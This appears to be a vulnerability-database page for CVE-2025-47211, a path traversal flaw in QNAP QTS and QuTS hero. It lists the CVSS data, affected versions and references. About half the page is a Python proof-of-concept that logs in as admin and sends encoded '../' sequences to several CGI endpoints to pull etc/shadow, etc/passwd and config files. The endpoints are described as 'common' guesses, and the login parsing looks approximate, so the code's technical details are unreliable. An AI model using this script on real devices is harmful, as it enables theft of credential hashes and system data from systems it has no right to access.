CVE-2025-47211

Description

A path traversal vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to read the contents of unexpected files or system data. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-47211 - QNAP QTS/QuTS hero Path Traversal PoC
# Note: This vulnerability requires admin privileges (PR:H)
# Tested against QTS versions prior to 5.2.6.3195 build 20250715

import requests
from urllib.parse import quote

TARGET_HOST = "https://<qnap-nas-ip>:8080"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"

def exploit_path_traversal(session, target_file):
    """
    Exploit path traversal to read arbitrary files on QNAP NAS.
    The traversal sequence bypasses directory restrictions in file access endpoints.
    """
    # Craft traversal payload - encode ../ sequences
    traversal_payload = "../../../" * 10 + target_file.lstrip("/")
    encoded_payload = quote(traversal_payload, safe="")

    # Common vulnerable endpoints in QNAP QTS/QuTS hero
    endpoints = [
        f"/cgi-bin/filemanager/utilRequest.cgi?func=download&sid={session.sid}&path={encoded_payload}",
        f"/cgi-bin/QTS_Share.cgi?func=get_share_file&sid={session.sid}&file={encoded_payload}",
        f"/cgi-bin/management/manaRequest.cgi?func=get_file&sid={session.sid}&name={encoded_payload}",
    ]

    for endpoint in endpoints:
        try:
            url = TARGET_HOST + endpoint
            resp = session.get(url, verify=False, timeout=10)
            if resp.status_code == 200 and len(resp.content) > 0:
                print(f"[+] Successfully read via: {endpoint}")
                print(f"[+] Content preview: {resp.content[:200]}")
                return resp.content
        except Exception as e:
            print(f"[-] Error on {endpoint}: {e}")
    return None

def login(session):
    """Authenticate as admin to obtain a session ID."""
    login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi"
    payload = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS,
        "remMe": "1"
    }
    resp = session.post(login_url, data=payload, verify=False, timeout=10)
    # Parse SID from response
    if "authSid" in resp.text:
        session.sid = resp.text.split("authSid=")[1].split(";")[0]
        return True
    return False

if __name__ == "__main__":
    s = requests.Session()
    if login(s):
        # Try to read sensitive files
        for f in ["etc/shadow", "etc/passwd", "etc/config/qpkg.conf"]:
            content = exploit_path_traversal(s, f)
            if content:
                print(f"\n[+] Retrieved {f}")
                break
    else:
        print("[-] Login failed - valid admin credentials required")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-47211
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-47211
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-47211/
[4] VulDB https://vuldb.com/cve/CVE-2025-47211
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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